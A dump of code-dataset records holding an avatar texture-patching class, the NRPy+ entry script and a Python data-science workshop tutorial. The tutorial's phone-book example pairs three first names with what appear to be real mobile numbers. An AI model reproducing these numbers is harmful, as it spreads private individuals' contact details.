"max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "abdis_machine_learning_handbook/_build/jupyter_execute/4_1_dl_basics_implementations/sentiment_analysis.py", "max_forks_repo_name": "abditimer/abdis_machine_learning_handbook", "max_forks_repo_head_hexsha": "da7009a3a16870b7c23a13db74b301afb3290f08", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.8620689655, "max_line_length": 439, "alphanum_fraction": 0.7198436667, "include": true, "reason": "import numpy", "num_tokens": 2851, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4148988457967688, "lm_q2_score": 0.20181321505933414, "lm_q1q2_score": 0.08373206999465281}}
{"text": "from PIL import Image, ImageOps\nfrom src.models.cc0 import patcher\nimport numpy as np\nimport skimage.io as io\nfrom src.utils.imgproc import *\nfrom skimage.color import rgb2hsv, hsv2rgb\n\n\nclass patcher(patcher):\n    def __init__(self, body='./body/body_orion.png', **options):\n        try:\n            options = options['options']\n        except:\n            pass\n        options['is_4k'] = True\n        options['with_bra'] = True\n        super().__init__(options=options)\n        self.name = '\u30aa\u30ea\u30aa\u30f3'\n        self.body = Image.open(body)\n        self.body_size = self.body.size\n        self.pantie_position = [407, 838]\n\n        self.frill_position = [361, 1412]\n        self.frill_shade = np.float32(io.imread('./material/orion_frill.png')[:, :, -1] / 255)\n\n    def pick_color(self, arr):\n        return np.mean(np.mean(arr, axis=0), axis=0)\n\n    def gen_frill(self, image):\n        pantie = np.array(image)\n        front = pantie[20:100, 30:80, :3] / 255.0\n        front_shade = pantie[130:150, 0:40, :3] / 255.0\n        front_color = self.pick_color(front)\n        front_shade_color = self.pick_color(front_shade)\n        r, c = self.frill_shade.shape\n        frill = np.ones((r, c, 3), dtype=np.float32) * front_color\n        frill_shade = self.frill_shade[:, :, None] * front_shade_color\n        frill = alpha_brend(frill_shade, frill, self.frill_shade)\n        frill = np.dstack((frill, frill[:, :, 0] > 0))\n        return Image.fromarray(np.uint8(np.clip(frill, 0, 1) * 255))\n\n    def patch(self, image, transparent=False):\n        pantie = self.convert(image)\n        if transparent:\n            patched = Image.new(\"RGBA\", (2048, 2048))\n        else:\n            patched = self.body.copy()\n        patched = self.paste(patched, pantie, self.pantie_position)\n        bra = self.gen_bra(image)\n        patched = self.paste(patched, bra, self.bra_position)\n        patched = self.paste(patched, ImageOps.mirror(bra), [self.bra_position[0] - bra.width, self.bra_position[1]])\n        patched = self.paste(patched, self.gen_frill(image), self.frill_position)\n        return patched\n", "meta": {"hexsha": "0b90465e52396022f6a15c6e6dc2811ff54f64bb", "size": 2084, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/models/orion.py", "max_stars_repo_name": "HhotateA/quiche_pantie_patch", "max_stars_repo_head_hexsha": "f50c4fd69bd43cccaeb38f026d486e3ccc3850d8", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": 73, "max_stars_repo_stars_event_min_datetime": "2019-01-26T02:57:24.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-15T08:45:11.000Z", "max_issues_repo_path": "src/models/orion.py", "max_issues_repo_name": "HhotateA/quiche_pantie_patch", "max_issues_repo_head_hexsha": "f50c4fd69bd43cccaeb38f026d486e3ccc3850d8", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": 9, "max_issues_repo_issues_event_min_datetime": "2019-04-09T10:53:41.000Z", "max_issues_repo_issues_event_max_datetime": "2020-09-11T13:18:26.000Z", "max_forks_repo_path": "src/models/orion.py", "max_forks_repo_name": "HhotateA/quiche_pantie_patch", "max_forks_repo_head_hexsha": "f50c4fd69bd43cccaeb38f026d486e3ccc3850d8", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": 15, "max_forks_repo_forks_event_min_datetime": "2019-04-07T11:28:57.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T04:35:48.000Z", "avg_line_length": 38.5925925926, "max_line_length": 117, "alphanum_fraction": 0.6218809981, "include": true, "reason": "import numpy", "num_tokens": 584, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.16451646289656316, "lm_q1q2_score": 0.08354341172812431}}
{"text": "import sys\n\n# Step 0: Check Python version. NRPy+ is untested below Python 2.7-ish, but is compatible with 2.7+ and 3+\nPYTHONVERSION3 = False\nif sys.version_info[0]==2:\n    if sys.version_info[1]<4:\n        print(\"Sorry, NRPy won't work with Python < 2.4; sorting functs won't work. See https://docs.python.org/3/howto/sorting.html for details.\")\n        sys.exit(1)\nif sys.version_info[0]==3:\n    PYTHONVERSION3 = True\n\n# Step 1: Print logo.\nfrom NRPy_logo import *\n#print_logo()\n\n# Step 2: Initialize core parameter NRPy::MainModule,\n#         which defines the desired main module.\n#         E.g., scalarwave, BSSN_RHSs, BSSN_InitialData, etc.\n# Contains parameter initialization, manipulation, and read-in routines\nimport NRPy_param_funcs as par\n\n# Used to import needed modules dynamically\nimport importlib\n\n# Initialize the MainModule parameter.\n# This is the ONLY parameter initialized outside of a module!\nMainModule = \"scalarwave\" # Default. To be overwritten later.\npar.initialize_param(par.glb_param(\"char\",\"NRPy\",\"MainModule\",MainModule))\n\n# Step 4: Initialize NRPy+ as desired.\n\n# Step 4a: Enter Interactive Mode if NRPy+ is run via\n#   `python nrpy.py`\nif(len(sys.argv) == 1):\n    print(\"/* Run `python nrpy.py --help` for other command-line options */\")\n    print(\"/* Entering interactive mode                                  */\\n\")\n\n#   Print help message if NRPy+ is run via\n#    `python nrpy.py --help`\nelif(len(sys.argv) == 2 and sys.argv[1] == \"--help\"):\n    print(\"\\n     \\033[1m............................................\\033[0m \")\n    print(\"     -={ \\033[1mNRPy+ supports multiple usage modes.\\033[0m }=-\\n\")\n    print(\"\\033[1mUsage Mode 0\\033[0m: `python nrpy.py`\\n\\t\\t  initializes interactive session\\n\")\n    print(\"\\033[1mUsage Mode 1\\033[0m: `python nrpy.py --help`\\n\\t\\t  outputs this message\\n\")\n    print(\"\\033[1mUsage Mode 2\\033[0m: `python nrpy.py --gen-defparam-file`\\n\\t\\t generates default parameter file\\n\")\n    print(\"\\033[1mUsage Mode 3\\033[0m: `python nrpy.py [PARAMETER FILE]`\\n\\t\\t override default parameters with parameter file.\")\n    print(\"\\t\\t Parameter file takes the form of a list;\")\n    print(\"\\t\\t each list item has syntax `mainmodule:paramname=value`\\n\")\n    print(\"\\033[1mUsage Mode 4\\033[0m: `python nrpy.py [PARAMETER FILE] [PARAMETER OVERRIDES]`\")\n    print(\"\\t\\t read parameter file, then override parameter file\")\n    print(\"\\t\\t settings with command-line parameters, with same\")\n    print(\"\\t\\t syntax (`mainmodule:paramname=value`)\")\n    print(\"     \\033[1m............................................\\033[0m \")\n    sys.exit(0)\n\n#    Run with parameter file & optional list of parameter overrides if NRPy+ is run via\n#   `python nrpy.py [PARAMETER FILE] [(optional) PARAMETER OVERRIDES]`:\n# Note that\n# 1) parameters set in parameter file override parameter defaults, and\n# 2) parameters set at command line override both parameter defaults\n#    *and* parameter settings in parameter file\nelif(len(sys.argv) >= 2):\n    # When not in an interactive mode, the NRPy::MainModule parameter must be set,\n    #   either in the param file (preferred!) or as a command line argument.\n    with open(sys.argv[1], \"r\") as file:\n        for line in file:\n            par.set_paramsvals_value(line, sys.argv[1], FindMainModuleMode=True)\n    # Search for NRPy::MainModule in the command line arguments\n    for i in range(2,len(sys.argv)):\n        par.set_paramsvals_value(sys.argv[i], \"\", FindMainModuleMode=True)\n    # The NRPy::MainModule parameter has already been set,\n    #   and parse_param_string__set__params_and_paramsvars()\n    #   will error out with a \"Critical Error\" if it has not been set.\n    idx = par.get_params_idx(par.glb_param(\"ignoretype\", \"NRPy\", \"MainModule\", \"ignoredefval\"))\n    MainModule = par.glb_paramsvals_list[idx]\n    if MainModule == \"NODEFAULT\":\n        print(\"Error: Could not find NRPy::MainModule defined in the parameter file \\\"\"+sys.argv[1]+\"\\\" or on the command line!\")\n        sys.exit(1)\n\n    # Next initialize all of MainModule's parameters.\n    # Note that MainModule must also initialize parameters for modules\n    # on which it depends, except outputC (which NRPy+ loads by default).\n    # https://stackoverflow.com/questions/10675054/how-to-import-a-module-in-python-with-importlib-import-module\n    importlib.import_module(MainModule+\".\"+MainModule)\n\n    # Next overwrite default parameters with values specified in the parameter file.\n    with open(sys.argv[1], \"r\") as file:\n        for line in file:\n            par.set_paramsvals_value(line, sys.argv[1])\n    # Next overwrite default parameters and values specified in the parameter file with command-line parameter assignments.\n    for i in range(2,len(sys.argv)):\n        par.set_paramsvals_value(sys.argv[i], \"\")\n\n# Next load the MainModule, if it hasn't been loaded already.\n#importlib.import_module(MainModule+\".\"+MainModule)\ngetattr(importlib.import_module(MainModule+\".\"+MainModule), MainModule)()\n# Initialize parameters for the core outputC module,\n# which is the default MainModule.\n# Call function initparams() from outputC module (in outputC.py):\n# getattr(importlib.import_module(MainModule), 'initparams')()\n\n# Step 3b (temporary): Set a SymPy expression to test processing\nimport sympy as sp\n#from outputC import *\n#getattr(importlib.import_module(\"outputC\"),'outputC')([sympify(\"3*a*b**4+c*sin(a*b**4)\"),sympify(\"6*a*b**4\")],[\"output1\",\"output2\"])\n#getattr(importlib.import_module(\"outputC\"),'outputC')(sp.sympify(\"3*a*b**4+2*c*sin(a*b**4)\"),\"output1\")\n", "meta": {"hexsha": "7ffb54dda9a3292c7ddd65da7b8694e70f29b8b4", "size": 5523, "ext": "py", "lang": "Python", "max_stars_repo_path": "nrpy.py", "max_stars_repo_name": "Steve-Hawk/nrpytutorial", "max_stars_repo_head_hexsha": "42d7450dba8bf43aa9c2d8f38f85f18803de69b7", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-12-23T05:31:25.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-23T05:31:25.000Z", "max_issues_repo_path": "nrpy.py", "max_issues_repo_name": "Steve-Hawk/nrpytutorial", "max_issues_repo_head_hexsha": "42d7450dba8bf43aa9c2d8f38f85f18803de69b7", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "nrpy.py", "max_forks_repo_name": "Steve-Hawk/nrpytutorial", "max_forks_repo_head_hexsha": "42d7450dba8bf43aa9c2d8f38f85f18803de69b7", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-11-14T03:31:18.000Z", "max_forks_repo_forks_event_max_datetime": "2019-12-12T13:42:52.000Z", "avg_line_length": 51.6168224299, "max_line_length": 147, "alphanum_fraction": 0.691109904, "include": true, "reason": "import sympy", "num_tokens": 1442, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.17781087601343806, "lm_q1q2_score": 0.08335607198730097}}
{"text": "#Commenting for single \n\n\n'''\nCommenting for multiple lines\n'''\n\n\n#How to declare variables in Python\nmy_age = 40 \n\n\n#One variable can hold different data type\n# Integer\nmy_var = 8\ntype(my_var)\n\n# Float\nmy_var = 26.5\ntype(my_var)\n  \n# String\nmy_var = \"FORSK\"\ntype(my_var)\n  \n# Boolean\nmy_var = True\ntype(my_var)\n  \n# NoneType\nmy_var = None\ntype(my_var)\n\n\n\n\"\"\"\nType Conversion using Global Functions  \n  int()\n  float()\n  str()\n  bool()\n\"\"\"\n\n\n#How to convert the data type\nint (10.6)\nint (\"10\")\n\n\nfloat (4)\nfloat (\"10\")\n\n\nstr (4)\nstr (10.6)\n\n\nbool (4)        # Any integer greater than zero is True\nbool (0)\n\nbool (10.6)     # Any float greater than 0.0 is True\nbool(0.0)\n\nbool(-90)\n\n\nbool (\"10\")\nbool(\"\")\n\nbool (None)\n\n\n#Taking Integer Input from user\nage = input ( \"Enter your Age > \")\nprint (age)\nprint (type(age))\n  \nage = int(age)\nprint (age)\nprint (type(age))\n\n\n#Taking Floating Point Input from user \ntemperature  = input ( \"Enter your temperature of your city > \")\nprint (temperature)\nprint (type(temperature))\n\n  \ntemperature = float(temperature)\nprint (temperature)\nprint (type(temperature))\n\n\n#Taking String Input from user using raw_input function \nname = input ( \"Enter your Name >\")\nprint (name)\nprint (type(name))\n\n\n#Printing Output to the screen using single quote\nprint ( 'FORSK TECHNOLOGIES' )\n\n#Printing Output to the screen using double quote\nprint ( \"FORSK TECHNOLOGIES\" )\n\n#Using Triple Quotes to print quotation marks in string\nprint (\"\"\"FORSK\"S TECHNOLOGIES\"\"\")\n\n\n# Importing Modules\n \nimport math\n\nmath.sqrt ( 16 )\nmath.log ( 16, 2 )  \nmath.cos ( 0 )\nmath.isnan(90)\n\n# Importing Names from a Module Directly\n#How to use specific functions from packages or modules in python \nfrom math import sqrt\nsqrt ( 16 )\n\n\n#How to use specific functions from packages or modules\n#and also aliasing\nfrom math import sqrt as square \nsquare ( 16 )\n\n# How to find the function within the Module/Package\ndir ( math )\n\nhelp (math.sqrt)\n\n\n \n#Slicing of strings\n\nnewstr = \"Monty Python\"\n\n# Indexing using Left to Right\n\n#START\nprint(newstr [ 0 ]) # 1st thing (0-indexed)\nprint(newstr [ -12 ])\n\n# Indexing using Right to Left\nprint (newstr [ -1 ] ) # Last thing\n\n \n#START and END\nprint(newstr[:3])  # First three things\nprint(newstr[-3:]) # Last three things\n\nprint(newstr[3:])  # Everything *except* the first three\nprint(newstr[:-3]) # Everything *except* the last three\\\n\n\nnewstr [ 6:10 ]\n \nnewstr [ : 5 ]\nnewstr [ 6 : ]\nnewstr [ : ]\n   \n\n#Strings in python are Immutable \n\nnewstr = \"Monty Python\"\n\nnewstr [ 0 ] = \"m\"\n#or \ndel newstr [ 0 ]\n  \ndel newstr\n\n\n\"\"\"\nGlobal Inbuilt function ( len and del )\n\"\"\"\n\nnewstr = \"Monty Python\"\n\nlen ( newstr )\nprint ( newstr )\ndel ( newstr )\n\n\n\n# String functions \n# ( lower, upper, find, replace, strip, lstrip, rstrip, split, join) \n# creates a new copy of the string \n\nnewstr = \"    Monty Python    \"\nprint(newstr)\n\nnewstr.lower()\nprint(newstr)\n\nnewstr2= newstr.lower()\nprint(newstr2)\n\nnewstr.upper()\n   \nnewstr.find('r')\nnewstr.find('P')\nnewstr.replace(' ','\\n')\n \nnewstr.lstrip()\nnewstr.rstrip()\nnewstr.strip()\n  \nnewstr.split()\nnewstr.index('M')\n\nstring=\"Rajasthan\"\n\" \".join( string )\n\n\n#to list all the functions for an object  \ndir ( str )\n\n#to check the syntax for a specific function of the object \nhelp ( str.strip )\n\n\n#Take the age as input from the user and print  \nage = int(input(\"Enter your age>\"))\n\n\n#Take the age as input from the user and print  \nage = int(input(\"Enter your age>\"))\nif ( age > 0 ):\n  print (\"Valid Age\")\n  \nelse:\n  print (\"Invalid Age\")\n  \n\n\n\"\"\"\nLooping technique using while \n\"\"\" \n\nn = 0\nwhile (n < 10):\n  print (n)\n  n = n + 1\n  #n += 1\n\n\n\"\"\"\nList\n\"\"\"\n\n#List Creation\nmy_list = [ 1, 2, 3 ]\nprint(my_list)\n\n#Adding single items in the list in the last \nmy_list.append( 5 ) \nprint(my_list)\n \n#Adding single item in the list at a specific position in the list\nmy_list.insert ( 0, 0 )\nprint(my_list)\n\n\n#Remove a specific item by its value from the list \nmy_list.remove ( 4 )   #( ValueError here since 4 is not in the list )\n\n\n# Accessing the values of the list using index\nprint(my_list[0])\n\n    \n#Sorting of the list items  \nprint(my_list)\nmy_list.sort()\nprint (my_list)\n\n\n    \n# Membership Operators \n# in   ,  not in \n\n# Used to check if some single item is in a larger collection  \n# Return True if the item is in list\n# Return False if the item is not in list  \n\n# Example\nsome_list = [1,2,3,5,6,2,4,3,5,6,7,8,1,2,3]\n\n3 in some_list  # will return True\n\n3 not in some_list # will return False\n\n7 not in some_list  # will return True\n\n\n# Hand on Challenge\nwhile (3 in some_list):\n    some_list.remove(3)\nprint (some_list)\n    \n  \n\n\n\"\"\"\nLooping technique using for each\n\"\"\"\nmy_list = [0,1,2,3,4,5,6]\nfor number in my_list:\n  print (number)\n  \n  \n\n# default the range starts from 0\n\nour_list = list(range(13))\nprint (type(our_list))\nprint (our_list)\n\nfor number in list(range (13)):\n  print (number)\n\n\nfor number in list(range (1,13)):\n  print (number)\n\n\n\"\"\"\ndictionary\n\"\"\"\n\nphone_book = { 'Vidhan':8504982228, 'Aayushi':8905336615, 'Vibhooti':9414701291 }\nprint(phone_book)\nprint(type(phone_book))\n\n\n# Creation of dictionaries\ndict1 = {'fname':'John', 'lname':'Mille', 'profession':'plumber',  'age':'32'}\nprint(dict1)\n\n\n# Add/Update\ndict1['lname'] = 'Miller'\ndict1['profession'] = 'electrician'\ndict1['age'] = '36'\ndict1['city'] = 'NY' #add\nprint(dict1)\n\ndict1['city'] = 'MA' #update\nprint(dict1)\n\ndict1.update ( {'age':32, 'city':'NY' } )\nprint(dict1)\n\n# Printing Values\nprint (dict1[\"lname\"])\nprint (dict1.get('lname'))\nprint (dict1.get('name'))\nprint (dict1.get('name', 'Not Found'))\n\n\n\ndict1 = {'fname':'John', 'lname':'Miller', 'profession':'plumber',  'age':'32'}\n\n\n# To list all the keys\na  = dict1.keys()\nprint(a)\nprint(type(a)) \n\n# To list all the values  \nprint(dict1.values())\n\n# To list all the values  \nprint(dict1.items())\n \n# To list all values and keys  \nfor key in dict1:\n  print ( key , dict1[key] )\n\nfor key in dict1:\n  print ( key , dict1.get(key) )\n\n\n\n\"\"\"\nNumPy\n\"\"\"\n\na = [0,1,2,3,4,5,6,7,8]\nprint (type(a))\nprint (a)  \n# it always prints the values with comma seperated , thats list\n\n\n# Convert your list data to NumPy arrays\nimport numpy as np\n\nx = np.array( a ) \nprint (type(x))\n\nprint (x)\n# it always prints the values WITHOUT comma seperated , thats ndarray\n\n\n# to print the data type of the elements of array \nprint (x.dtype)\n\n\n# to print the dimension of the array \nprint (x.ndim)\n\n# to print the shape of the array \n# returns a tuple listing the length of the array along each dimension\n# For a 1D array, the shape would be (n,) \n# where n is the number of elements in your array.\nprint (x.shape)\n\n\n# Array Indexing will always return the data type object \nprint (x[0])\nprint (x[2])\nprint (x[-1])\n\n\n\n\"\"\"\nSeries\n\"\"\"\n\n\n#Import Python Libraries\n\nimport pandas as pd\n\n# Create an Empty Series\ns = pd.Series()\nprint (type(s))\nprint (s)\n\n\n# Create a Series from ndarray\nimport numpy as np\ndata = np.array(['a','b','c','d'])\nprint (type(data ))\n\ns = pd.Series(data)\nprint (type(s))\nprint (s)\n# We did not pass any index, so by default, \n# it assigned the indexes ranging from 0 to len(data)-1, i.e., 0 to 3.\n\n#retrieve the first element\nprint (s[0])\n\n#retrieve the first three element\nprint (s[:3])\n\n\n#retrieve the last three element\nprint (s[-3:])\n\n\n# Customised Index value\ndata = np.array(['a','b','c','d'])\ns = pd.Series(data,index=[100,101,102,103])\nprint (s)\n\n\n\"\"\"\nDataFrame\n\"\"\"\n\n# A Data frame is a two-dimensional data structure, i.e., \n# data is aligned in a tabular fashion in rows and columns.\n# You can think of it as an SQL table or a spreadsheet data representation\n\n\nimport pandas as pd\n\n#Create an Empty DataFrame\ndf = pd.DataFrame()\nprint (df)\n\n\n# Create a DataFrame from Lists\ndata = [1,2,3,4,5]\ndf = pd.DataFrame(data)\nprint (df) \n\n# Create a DataFrame from List of Lists\ndata = [['Alex',10],['Bob',12],['Clarke',13]]\ndf = pd.DataFrame(data,columns=['Name','Age'])\nprint (df)\n\n\n\n\"\"\"\nExploratory Data Analysis of Salaries Data\n\"\"\"\n\n\"\"\"\n1. Which Male and Female Professor has the highest and the lowest salaries.\n2. Which Professor takes the highest and lowest salaries.\n3. Missing Salaries - should be mean salaries. \n4. Missing phd - should be mean phd.\n5. How many are Male Staff and How many are Female Staff. \n6. How many are Prof, AssocProf and AsstProf. \n7. Who are the senior and junior most employees in the organization.\n\"\"\"\n\n\nimport pandas as pd\n#Read csv file\ndf = pd.read_csv(\"data/Salaries.csv\")\n\n# Not a good technique to print the Data Frame\nprint (df)\n\ndf.info()\n\n\n#List first 5 records\ndf.head()\n\n\n#Can you guess how to view the last few records;\ndf.tail(5)\n\n\n# Gives the row Indexes\ndf.index\n\n\n#list the column names / column Indexes\ndf.columns \n\n\n#Check types for all the columns\ndf.dtypes\n\n\n#numpyrepresentation of the data\ndf.values \n\n\n# generate descriptive statistics (for numeric columns only)\n# Standard Deviation is quite useful tool to figure out \n# how the data is spread above or below the mean.\n# The higher the value, the less is reliable or vice versa. \ndf.describe() # Numeric Columns\n\n#return max/min values for all columns\ndf.max() \ndf.min()\n\n#return max/min values for all numeric columns\ndf.mean()\ndf.median()\ndf.std()\n\n#returns a random sample of the data frame\ndf.sample(5) \n\n\n\n\"\"\"\nData Frames: method loc\n\nIf we need to select a range of rows, using their labels/index \nwe can use method loc\n\"\"\"\n\ndf.loc[:1]\n\ndf.loc[10:20,['rank','sex']]\n\n\n\"\"\"\nData Frames: method iloc\n\nIf we need to select a range of rows and/or columns, \nusing their positions we can use method iloc\n\"\"\"\ndf.iloc[:2]\n\ndf.iloc[ 10:21 , [0,4] ]\n\n\n\n\"\"\"\nSelecting a column in a Data Frame with all rows\n\"\"\"\n\ndf.iloc[:,2]\n\ndf.loc[:,'phd']\n \n\n# Read the data from a specific Series\ndf.phd\n\n# Dont use this technique\ndf.rank\n\n# This is the best practice \ndf['phd']\n\n\n#Select column rank and salary:\ndf[['rank','salary']]\n\n\n# Find unique values in a Series / Column\ndf['rank'].unique()\ndf['discipline'].unique()\ndf['sex'].unique()\nlist1 = df['sex'].unique().tolist()\n\n\n# intuition about a Rank Series\ndf['rank']\ndf['rank'].value_counts()\n\n\n# to show in Percentage \ndf['rank'].value_counts(normalize = True)\n\n\n# To know the count of male and female candidates\ndf['sex'] \ndf['sex'].value_counts()\ndf['sex'].value_counts(normalize = True)\n\n\n#calculate the basic statstics on the salary column\ndf['salary'].mean()\ndf['salary'].std()\ndf['salary'].describe()\n\n\n#Find how many values in the salary column which are non NaN (use count method);\ndf['salary'].count()\ndf['phd'].count()\n\n\n# Boolean Indexing\n# Find those rows which has null values in salary/phd column\ndf['salary'].isnull()\ndf[df['salary'].isnull()]\n\ndf['phd'].isnull()\ndf[df['phd'].isnull()]\n  \n\n\"\"\"\nData Frames groupby method\n\"\"\"\n#Group data using rank\ndf_rank= df.groupby(['rank'])\n\ndf_rank.size()\ndf_rank.count()\ndf_rank.groups\n# Groups returns a dictionary object\ndf_rank.groups['AssocProf']\ndf_rank.groups['AssocProf'][0]\n\n \n#group data using rank followed  by discipline and sex\ndf_rank=df.groupby(['rank', 'discipline','sex'])\ndf_rank.groups\ndf_rank.count()\n \n#Calculate mean value for each numeric column per each group\ndf_rank.mean()\n\n\n#Calculate mean salary for each type of professor rank:\ndf.groupby('rank')[['salary','phd']].min()\ndf.groupby('rank')[['salary','phd']].max()\ndf.groupby('rank')[['salary','phd']].mean()\n        \n\n\n\"\"\"\nData Frame: filtering\n\nTo subset the data we can apply Boolean indexing. \nThis indexing is commonly known as a filter. \nFor example if we want to subset the rows in which the salary\n value is greater than $120K:\n\n\"\"\"\n\n# Boolean Indexing in Pandas\n# select only those professors who has salary more than 120000\ndf['salary'] > 120000\ndf_sub= df[(df['salary'] > 120000) ]\ndf_sub\n\n#or\n\ndf.loc[df['salary'] > 120000]\n\n\n# to display only the selected series/column\ndf.loc[df['salary'] > 120000,'salary']\n\n\n\n#filter using multiple columns\n\ndf_sub= df[(df['salary'] > 120000) & \\\n           (df['phd'] > 10) & \\\n           (df['sex'] == 'Female' )\n           ]\ndf_sub\n# Or\n\ndf.loc[(df['salary'] > 120000) & \\\n           (df['phd'] > 10) & \\\n           (df['sex'] == 'Female' )]\n\n\n\n#Select only those rows that contain female professors:\ndf_sub = df[df['sex'] == 'Female' ][['salary','sex']]\ndf_sub\n\n# Or\n\ndf.loc[df['sex'] == 'Female' ][['salary','sex']]\n\n\n\"\"\"\nDataFrame sorting\n\"\"\"\n\n# Create a new data frame from the original sorted by the column Salary\ndf_sorted= df.sort_values( by='service')\ndf_sorted.head()\n\n# To find the lowest salary of the employee\ndf_sorted= df.sort_values( by='salary', ascending = [True])\ndf_sorted.head(1)\n\n\n# To find the highest salary of the employee\ndf_sorted= df.sort_values( by='salary', ascending = [False])\ndf_sorted.head(1)\n\n\n#We can sort the data using 2 or more columns:\ndf_sorted= df.sort_values( by=['service','salary'], ascending = [True,True])\ndf_sorted.head(10)\n\ndf_sorted= df.sort_values( by=['service','salary'], ascending = [True,False])\ndf_sorted.head(10)\n\n\n\"\"\"\nMissing Values\n\"\"\"\n\ndf.info()\n\ndf[df['phd'].isnull()]\n\ndf[df['salary'].isnull()]\n\n\n# mark zero values as missing or NaN\ndf['salary'] = df['salary'].replace(0, np.NaN)\n\n\n  \n#There are a number of methods to deal with missing values in the data frame:\nnew_df = df.dropna()\nnew_df.count()\n\n\nnew_df2 = df.fillna(0)\nnew_df2.count()\n\n\n# Fill All columns with missing values, with mean of that column\ndf = df.fillna(round(df.mean(),0))\ndf\n\n# fill all the records with missing values, with mean of that column\ndf['phd'] = df['phd'].fillna(df['phd'].mean())\n\n# fill all the records with missing values, with mean of that column\ndf['salary'] = df['salary'].fillna(df['salary'].median())\n\n\n# How to drop columns\ndf.drop('discipline',axis=1, inplace=True)\n\n \n\n\"\"\"\nMatplotlib\n\"\"\"\n\nimport matplotlib.pyplot as plt\n\nx = [1,2,3,4,5,6,7,8,9,10]\n\ny = [1,2,3,4,5,6,7,8,9,10]\n\n\n# Setting the title\nplt.title(\"A Line Graph\")\n\n# Setting the X Label \nplt.xlabel(\"X\")\n\n# Setting the Y Label\nplt.ylabel(\"Y\")\n\n# Displaying the Grid\nplt.grid(True)\n\n# Changing the x axes limits of the scale\nplt.xlim(0, 10)\n\n# Changing the y axes limits of the scale\nplt.ylim(0, 10)\n\n# Or\nplt.axis([0, 10, 0, 10]);\n\n\n# Showing the points on the graph\nplt.scatter(x, y)\n\n# Simple Line plot\nplt.plot(x, y)\n\nplt.savefig(\"data/scatter.jpg\")\n\nplt.show()\n\n\n# Changing the color of the line\nplt.plot(x, y, color='green') # #000000\n\n# Changing the style of the line\nplt.plot(x, y, linestyle='dashed') # solid dashed  dashdot dotted\n\n# For Plotting Scatter Plot\nplt.plot(x, y, 'd', color='black'); # o  .  , x  +  v  ^  <  >  s d \n\n# Scatter Plot with scatter method \nplt.scatter(x, y, marker='.', color='black',label=\"marker='{0}'\".format('.')); # o  .  , x  +  v  ^  <  >  s d \nplt.legend(numpoints=1)\n\n\n\n\"\"\"\nPie chart, where the slices will be ordered and plotted counter-clockwise:\n\"\"\"\n\nlabels = 'CSE', 'ECE', 'IT', 'EE'\nsizes = [15, 30, 25, 10]\ncolors = ['gold', 'yellowgreen', 'lightcoral', 'lightskyblue']\nexplode = (0.1, 0, 0, 0)  # explode 1st slice\n\n#plt.pie(sizes, labels=labels, autopct='%.0f%%')\n\n# or\n\nplt.pie(sizes, explode=explode, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True, startangle=90)\n\n\nplt.axis('equal')  # Equal aspect ratio ensures that pie is drawn as a circle.\nplt.show()\n\n        \n\n\"\"\"\nPlotting a bar chart\n\"\"\"\n\nimport matplotlib.pyplot as plt; \n \nobjects = ('Python', 'C++', 'Java', 'Perl', 'Scala', 'Lisp')\nperformance = [10,8,6,4,2,1]\n \nplt.bar([0,1,2,3,4,5], performance, align='center', alpha=1.0)\nplt.xticks([0,1,2,3,4,5], objects)\nplt.ylabel('Usage')\nplt.title('Programming Language Usage')\n \nplt.show()\n\n\n\"\"\"\nShowing bubbles\n\"\"\"\n\nimport numpy as np \nimport matplotlib.pyplot as plt \n\n# Define the number of values\nnum_vals = 40\n\n# Generate random values\nx = np.random.rand(num_vals)\ny = np.random.rand(num_vals)\n\n# Define area for each bubble\n# Max radius is set to a specified value\nmax_radius = 25\narea = np.pi * (max_radius*np.random.rand(num_vals)) ** 2\n\n# Generate colors\ncolors = np.random.rand(num_vals)\n\n# Plot the points\nplt.scatter(x, y, s=area, c=colors, alpha=.5)\nplt.show()\n\n\nrng = np.random.RandomState(0)\nx = rng.randn(100)\ny = rng.randn(100)\ncolors = rng.rand(100)\nsizes = 1000 * rng.rand(100)\n\nplt.scatter(x, y, c=colors, s=sizes, alpha=0.3,\n            cmap='viridis')\nplt.colorbar();  # show color scale\n# In this way, the color and size of points can be used to convey information in the visualization, \n# in order to visualize multidimensional data.\n\n\n\n\n\"\"\"\nNow make a pie chart for all car makers\n\"\"\"\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\ndf = pd.read_csv(\"data/Automobile.csv\")\n\nseries = df[\"make\"].value_counts()\n\nprint (series.index[0:11])\nprint (series.values[0:11])\n\nexplode = (0.5,0,0,0,0,0,0,0,0,0,0)\n\nplt.pie(series.values[0:11], explode = explode, labels=series.index[0:11], autopct='%2.2f%%')\n\n# Equal aspect ratio ensures that pie is drawn as a circle.\nplt.axis('equal')  \n\nplt.show()\n\n\nfor x,y in zip(series.index, series.values):\n    print (x,y)\n    \n\n''' Feedback Form'''\n", "meta": {"hexsha": "4499bec6365c3844ab4fe140691f6089062ede2b", "size": 16950, "ext": "py", "lang": "Python", "max_stars_repo_path": "data-science-workshop/Workshop_August_2019.py", "max_stars_repo_name": "dheerajpoonia29/data-analytics-", "max_stars_repo_head_hexsha": "6f1e391cee9c7462277ad0abf262d3ad30421b64", "max_stars_repo_licenses": ["CNRI-Python", "Xnet", "X11"], "max_stars_count": null, 